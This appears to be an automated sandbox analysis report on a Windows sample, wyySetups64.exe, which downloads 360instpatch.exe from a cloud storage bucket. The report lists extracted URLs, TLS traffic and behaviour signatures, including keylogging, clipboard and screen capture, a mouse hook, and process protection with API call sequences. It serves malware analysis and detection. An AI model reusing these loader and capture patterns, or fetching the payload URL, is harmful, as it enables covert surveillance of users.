Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://sf.symcd.com0&
Source: 360instpatch.exe	String found in binary or memory: http://sfdw.360safe.com/safesetup_2000.exe
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://sfdw.360safe.com/safesetup_2000.exe360
Source: 360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://sfdw.360safe.com/setup.exe.exe
Source: 360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://sfdw.360safe.com/setupbeta.exe4(u7b4N
Source: 360instpatch.exe	String found in binary or memory: http://sfdw.360safe.com/superkiller/superkillerexe_880765522ded7527821ce7448af08018_5.1.64.1181.cab
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://sfdw.360safe.com/superkiller/superkillerexe_880765522ded7527821ce7448af08018_5.1.64.1181.cabh
Source: 360instpatch.exe	String found in binary or memory: http://sfdw.360safe.com/superkiller/superkillerexe_ce61817f687d599de13ee9deb1af83e2_5.1.0.1181.cab
Source: sites.dll.8.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: 360instpatch.exe	String found in binary or memory: http://wpad.%s/wpad.dat
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://wpad.%s/wpad.dathttp://%s/wpad.datwpad
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://www.360.cn
Source: 360instpatch.exe, 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://www.360.cn/
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: http://www.360.cn//index.html127.0.0.1--
Source: 360instpatch.exe, 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799585748.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: http://www.360.cn/xukexieyi.html#360
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1780192151.0000000007A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: powershell.exe, 00000006.00000002.1780265823.0000000007AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 360instpatch.exe, 00000008.00000002.4119635939.00000000065D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: powershell.exe, 00000006.00000002.1774677766.0000000005531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1765795867.0000000004838000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1765795867.0000000004825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBqq
Source: 360instpatch.exe	String found in binary or memory: https://bbs.360.cn/thread-16079507-1-1.html
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: https://bbs.360.cn/thread-16079507-1-1.htmlD
Source: powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 360instpatch.exe, 00000008.00000003.1831082054.0000000005033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.microso
Source: svchost.exe, 0000000C.00000003.1825614884.000001A6AFB32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000C.00000003.1825614884.000001A6AFB32000.00000004.00000800.00020000.00000000.sdmp, edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000006.00000002.1774677766.0000000005685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.1774677766.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774677766.0000000005E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: wyySetups64.exe, 00000000.00000002.1810189166.000000000080D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/
Source: wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/34-1002
Source: wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1809349190.0000000000198000.00000004.00000010.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1809394272.0000000000400000.00000040.00000001.01000000.00000003.sdmp, wyySetups64.exe, 00000001.00000002.4114622663.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exe
Source: wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exe0/
Source: wyySetups64.exe, 00000000.00000002.1809349190.0000000000198000.00000004.00000010.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1809394272.0000000000400000.00000040.00000001.01000000.00000003.sdmp, wyySetups64.exe, 00000001.00000002.4114622663.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exen
Source: wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gwwifha84989.oss-ap-northeast-2.aliyuncs.com/360instpatch.exez
Source: 360instpatch.exe	String found in binary or memory: https://hao.360.cn
Source: 360instpatch.exe	String found in binary or memory: https://hao.360.cn/
Source: 360instpatch.exe	String found in binary or memory: https://hao.360.cn/?installer
Source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: https://hao.360.cn/?installerhttps://hao.360.cnhttps://http://https://hao.360.cn/%s
Source: 360instpatch.exe, 00000008.00000002.4115869359.000000000155E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.commDataAPPDATA=C:
Source: powershell.exe, 00000006.00000002.1778471826.0000000006598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000000C.00000003.1825614884.000001A6AFB32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.12.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: wyySetups64.exe, 00000000.00000002.1818515504.000000000325B000.00000004.00000010.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1810189166.0000000000821000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004239000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000003.1797588551.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, 360P2SP.dll.8.dr, sites.dll.8.dr	String found in binary or memory: https://www.globalsign.com/repository/03
Source: sites.dll.8.dr	String found in binary or memory: https://www.globalsign.com/repository/06
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: https://www.innosetup.com/
Source: wyySetups64.exe, wyySetups64.exe.0.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown

HTTPS traffic detected: 149.129.12.34:443 -> 192.168.2.4:49735 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: [esc]	1_2_0337E850
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: [esc]	1_2_0337E850
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: [esc]	1_2_0337E850
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: [esc]	1_2_0337E850

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_0337E850 Sleep,CreateMutexW,GetLastError,_memset,Sleep,GetTickCount,GetTickCount,GetTickCount,InterlockedExchange,OpenClipboard,GetClipboardData,GlobalSize,GlobalLock,wsprintfW,_memset,GlobalUnlock,CloseClipboard,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,GetKeyState,lstrlenW,wsprintfW,lstrlenW,lstrlenW,wsprintfW,wsprintfW,wsprintfW,lstrlenW,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,

1_2_0337E850

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

1_2_0337E850

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_0337BC70 GetDesktopWindow,GetDC,GetDC,CreateCompatibleDC,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,_memset,GetDIBits,_memset,DeleteObject,DeleteObject,ReleaseDC,DeleteObject,DeleteObject,ReleaseDC,

1_2_0337BC70

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_0337E4F0 Sleep,CreateMutexW,GetLastError,SHGetFolderPathW,lstrcatW,CreateMutexW,WaitForSingleObject,CreateFileW,GetFileSize,CloseHandle,DeleteFileW,ReleaseMutex,DirectInput8Create,GetTickCount,GetKeyState,

1_2_0337E4F0

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

E-Banking Fraud

Checks if browser processes are running

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: _memset,GetUserNameW,__wcsicoll,_memset,GetModuleFileNameW,StrStrIW, Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads

8_2_00B68A46

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Process information set: 01 00 00 00

Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D51087 NtdllDefWindowProc_W,		0_2_00D51087
Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D51A37 GetModuleHandleA,CreateWindowExW,SendMessageW,CreateThread,PostQuitMessage,NtdllDefWindowProc_W,		0_2_00D51A37

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_00B1E080: GetCurrentProcessId,CreateFileW,DeviceIoControl,CloseHandle,

8_2_00B1E080

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0337B43F ExitWindowsEx,	1_2_0337B43F
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0337B41B ExitWindowsEx,	1_2_0337B41B
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0337B463 ExitWindowsEx,	1_2_0337B463

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_10010F10	0_2_10010F10
Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D50032	0_2_00D50032
Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D60EE7	0_2_00D60EE7
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03376EE0	1_2_03376EE0
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03376C50	1_2_03376C50
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0338E341	1_2_0338E341
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03388381	1_2_03388381
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0338EA1D	1_2_0338EA1D
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03378900	1_2_03378900
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0338F9FF	1_2_0338F9FF
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0338D89F	1_2_0338D89F
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0338DDF0	1_2_0338DDF0
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_033724B0	1_2_033724B0
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BE122F	1_2_00BE122F
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BD24B0	1_2_00BD24B0
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BE0CDE	1_2_00BE0CDE
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BE2D91	1_2_00BE2D91
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BDB66A	1_2_00BDB66A
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BE1E5C	1_2_00BE1E5C
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BE1780	1_2_00BE1780
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B20032	1_2_00B20032
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B31206	1_2_00B31206
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B30CB5	1_2_00B30CB5
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B22487	1_2_00B22487
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B32D68	1_2_00B32D68
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B2B641	1_2_00B2B641
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B31757	1_2_00B31757
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0320F3BE	1_2_0320F3BE
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0320D25E	1_2_0320D25E
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_031F82BF	1_2_031F82BF
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_031F689F	1_2_031F689F
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0320D7AF	1_2_0320D7AF
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_031F660F	1_2_031F660F
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_031F1E6F	1_2_031F1E6F
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0320DD00	1_2_0320DD00
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03207D40	1_2_03207D40
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B49245	8_2_00B49245
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B6592D	8_2_00B6592D
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B9C8E0	8_2_00B9C8E0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B22960	8_2_00B22960
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B1AA00	8_2_00B1AA00
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B4AB33	8_2_00B4AB33
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B30F04	8_2_00B30F04
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B130C0	8_2_00B130C0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B171F0	8_2_00B171F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B8729C	8_2_00B8729C
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B31281	8_2_00B31281
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B174F0	8_2_00B174F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00BA39CB	8_2_00BA39CB
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B93970	8_2_00B93970
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B1FF00	8_2_00B1FF00
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B1FF70	8_2_00B1FF70
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BEEB3F0	8_2_6BEEB3F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF0F494	8_2_6BF0F494
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF4EBCF	8_2_6BF4EBCF
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF54AB0	8_2_6BF54AB0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BEE2A30	8_2_6BEE2A30
